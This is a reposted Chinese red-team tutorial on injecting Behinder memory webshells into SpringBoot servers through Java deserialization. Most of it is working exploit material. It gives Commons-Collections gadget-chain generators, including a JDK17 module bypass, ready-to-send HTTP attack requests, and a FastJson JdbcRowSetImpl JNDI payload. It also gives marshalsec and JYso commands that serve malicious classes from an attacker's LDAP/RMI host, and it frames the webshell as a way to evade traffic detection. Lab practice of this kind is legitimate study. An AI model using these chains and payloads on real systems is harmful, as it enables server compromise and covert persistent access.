文章总结: 本文详细讲解了如何利用Java反序列化漏洞注入内存马(打马)。文章以一个SpringBoot应用为例,其Controller接收data参数并进行Base64解码后反序列化,攻击者可利用此过程执行恶意代码。文中使用commons-collections库的CC链作为利用链,通过反射修改TemplatesImpl对象的字节码,使其加载恶意类(如冰蝎马),最终生成恶意序列化数据。将该数据经Base64和URL编码后发送至目标接口,即可触发反序列化漏洞并成功注入内存马,实现持久化控制。 综合评分: 90 文章分类: WEB安全,渗透测试,红队,恶意软件,代码审计
【转载】如何通过反序列化进行打马
隐雾安全
2026年3月28日 10:00 四川
好文推荐
文章作者:先知社区(大*门)
文章来源:https://xz.aliyun.com/news/17364
#
为什么要打马
现在很多反序列化的复现文章,都是以 弹计算器 为复现成功的证据
弹计算器本质上就是执行命令,也就是相当于拿到别人的shell了
但是站在攻击者的视角直接以命令执行的方式攻击是不会知道命令执行的结果,因为结果是在服务器上呈现的
所以很自然而然想到通过命令执行来进行反弹shell来进行攻击
但到今天的这种攻防环境下,反弹shell的流量特征肯定会被设备检测到,那为了规避检测就进行内存马的注入
当然直接注入cmd内存马,流量肯定也会被设备检测到,那么如果注入冰蝎马,使用冰蝎的加密流量就能规避
直接反序列化打马
靶场环境搭建
创建Maven项目后修改依赖,创建一个SpringBoot2的工程,这边先采用经典的JDK8,后面有针对JDK17的SpringBoot3教程
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <!-- Spring Boot 版本 --> <spring-boot-dependencies.version>2.7.2</spring-boot-dependencies.version></properties>
<dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency></dependencies>
<dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-dependencies</artifactId> <version>${spring-boot-dependencies.version}</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies></dependencyManagement>
创建SpringBoot启动类
package org.example;
import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplicationpublic class DemoApplication {
public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); }}
创建Controller路由处理类
可以很明显的看到,这边就是接收 data 参数的值,然后base64解码后进行反序列化
package org.example.controller;
import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;
@RestControllerpublic class DemoController { @PostMapping("/Behinder") public String hello(String data) throws Exception { byte[] decodedBytes = Base64.getDecoder().decode(data); Object object = deserialize(decodedBytes); System.out.println(object); return "冰蝎马测试"; } private Object deserialize(byte[] bytes) throws Exception{ try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 别改 ObjectInputStream ois = new ObjectInputStream(bais)) { return ois.readObject(); } }}
准备序列化数据
为了演示成果,在依赖中加了CC链,这边就用CC链生成一下序列化数据
首先下载JMG工具,用来生成Tomcat的冰蝎马
https://github.com/pen4uin/java-memshell-generator/
因为我们用的SpringBoot技术栈,所以中间件为Tomcat
注意除了AbstractTranslet需要勾选上,其他的不选也行 ,至于为什么要勾上这个可以去看看CC链
然后运行如下代码,生成冰蝎马的CC链恶意数据,只需要改动Class的文件路径就行了
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;
public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Drunkbaby"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);// ----------------------------------------------- Here ----------------------------------------------- byte[] evil = Files.readAllBytes(Paths.get("C://CSVUtil.class"));// ----------------------------------------------- Here ----------------------------------------------- byte[][] codes = {evil}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove("key"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }}
打马
刚刚运行的代码会生成一个bin文件,我们把它base64编码一下
然后把编码后的结果直接放到下面的数据包发过去就行了,记得base64编码后要进行URL编码,一定要做
POST /Behinder HTTP/1.1Host: 127.0.0.1:8080sec-ch-ua-mobile: ?0Sec-Fetch-Mode: navigateAccept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Sec-Fetch-Dest: documentSec-Fetch-User: ?1sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"Accept-Encoding: gzip, deflate, br, zstdAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneUpgrade-Insecure-Requests: 1sec-ch-ua-platform: "Windows"Content-Type: application/x-www-form-urlencoded
data=[这边]
测试
不用管服务器的报错,直接根据JMG的提示用冰蝎连接就行了
总结
这边其实就是一个CC链的反序列化,然后我们通过ClassLoader把冰蝎的逻辑导入内存中,形成内存马
JDK17问题解决
问题说明
以JDK17来复现上面的反序列化靶场会失败,因为JDK17需要保证有下面的这两种任意的情况才能够调用成功
调者所在模块和被调用者所在模块相同 或 调用者模块与Object类所在模块相同
那解决方式就是,我们就直接注入到目标的模块中就行了
解决流程
- 首先用JDK17创建SpringBoot3应用
这个可以直接创建,我就不用Maven的形式创建了
- 添加上CC链子
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
然后增加一个Controller——controller.DemoController
import jakarta.servlet.http.HttpServletRequest;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;
@RestControllerpublic class DemoController { @RequestMapping("/test") public void start(HttpServletRequest request) { try{ String payload=request.getParameter("shellbyte"); byte[] shell= Base64.getDecoder().decode(payload); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(shell); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); objectInputStream.close(); }catch (Exception e){ e.printStackTrace(); } }}
然后JMG生成冰蝎马,记得选择 jakarta 的监听器,高版本的包名全换了
如果有CC链,我们注入器的包名必须是
org.apache.commons.collections.functors 的子类
然后勾选上 ByPass JDK Module
在测试类中新建一个攻击类,进行生成恶意序列化数据,可以直接运行,会输出base64后的数据
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.invoke.MethodHandles;import java.lang.reflect.Field;import java.net.URLEncoder;import java.util.Base64;import java.util.HashMap;import java.util.Map;
public class Main{ public static void main(String[] args) throws Exception{ patchModule(Main.class); String shellinject="[JMG生成数据]"; // 只需要改这个就行了 byte[] data=Base64.getDecoder().decode(shellinject);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(MethodHandles.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"lookup", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("defineClass", new Class[]{byte[].class}, new Object[]{data}), new InstantiateTransformer(new Class[0], new Object[0]), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); innerMap.remove("keykey");
setFieldValue(transformerChain,"iTransformers",transformers); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap)))); }
private static void patchModule(Class classname){ try { Class UnsafeClass=Class.forName("sun.misc.Unsafe"); Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe=(Unsafe) unsafeField.get(null); Module ObjectModule=Object.class.getModule(); Class currentClass=classname.getClass(); long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,ObjectModule); }catch (Exception e){ e.printStackTrace(); } } public static void setFieldValue(Object obj, String fieldName, Object value) { try { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }catch (Exception e){ e.printStackTrace(); } }
public static byte[] serialize(Object object) { try { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); objectOutputStream.close(); return byteArrayOutputStream.toByteArray(); }catch (Exception e){ e.printStackTrace(); } return null; }}
然后发包,博客返回包是500,但是我们200也是正常的
POST /test HTTP/1.1Host: 127.0.0.1:8080Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, br, zstdsec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform: "Windows"Sec-Fetch-Mode: navigatesec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Sec-Fetch-Site: noneSec-Fetch-Dest: documentUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded
shellbyte=[结果]
然后冰蝎连接
Ldap打马
说明
LDAP相较于直接的反序列化,是需要反连的,最常见的两个漏洞就是FastJson和log4j2
我就使用了 1.2.24 这个版本的
因为后续都只需要修改Payload,而准备JNDI服务器等步骤都是差不多一样的
靶场环境搭建
-
先按照原始配置搭建SpringBoot2
-
导入新依赖
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version></dependency>
修改SpringBoot启动项目
@SpringBootApplicationpublic class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @Bean public HttpMessageConverters fastJsonHttpMessageConverters() { FastJsonHttpMessageConverter fastConverter = new FastJsonHttpMessageConverter(); FastJsonConfig fastJsonConfig = new FastJsonConfig(); fastJsonConfig.setSerializerFeatures(SerializerFeature.PrettyFormat); fastConverter.setFastJsonConfig(fastJsonConfig); return new HttpMessageConverters((HttpMessageConverter<?>[]) new HttpMessageConverter[]{fastConverter}); }}
添加bean,作为反序列化的目标
public class User { @JSONField private String name; @JSONField private Integer age;
public String getName() { return this.name; } public void setName(String name) { this.name = name; } public Integer getAge() { return this.age; } public void setAge(Integer age) { this.age = age; }}
修改 Controller
@Controllerpublic class DemoController { @RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object getUser() { User user = new User(); user.setName("Bob"); user.setAge(25); return user; }
@RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"}) @ResponseBody public Object setUser(@RequestBody User user) { user.setAge(20); return user; }}
抓包访问
一般来说,主要的问题就集中在 application/json 这个里面
POST / HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Sec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-User: ?1sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Content-Type: application/json
{ "name":"haha", "age":22}
攻击
模仿JMG生成的BCEL,写个Class出来进行注入
public class BehinderTest { static { try { new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("[JMG生成的BCEL]").newInstance(); }catch (Exception e){ } } public static void main(String[] args) { // 不加这个生成不了Class文件 System.out.println("123"); }}
然后把这个BehinderTest这个类拿出来放到一个目录里面,然后Python开个HTTP服务
python -m http.server 4444
然后上传工具 marshalsec-0.0.3-SNAPSHOT-all.jar 搭建LDAP服务器,目标访问服务器端口7777,然后服务器转发到4444,最后获取到刚刚编译的这个恶意类 BehinderTest
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:4444/#BehinderTest" 7777
最后浏览器进行发包
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:7777/BehinderTest", "autoCommit":true }}
冰蝎4连接成功
高版本问题解决
这里的高版本就是JDK8的高版本了,JDK8U191往后就不能再想上面这样进行注入了,需要通过本地来绕过
这边就直接推荐JYSO这个工具 https://github.com/qi4L/JYso/
- 监听
java -jar JYso-1.3.4.jar -j
- 攻击Payload
ldap://127.0.0.1:1389/TomcatBypass/M-EX-MS-TFMSFromThread-bx
- 冰蝎连接密码和请求头
# 浏览器访问 ?/qi4l这个目录p@ssw0rdReferer: https://QI4L.cn/
- 不过有限制,springboot版本不能太高,太高了这个本地的工厂类会被修复
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:隐雾安全 null《【转载】如何通过反序列化进行打马》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论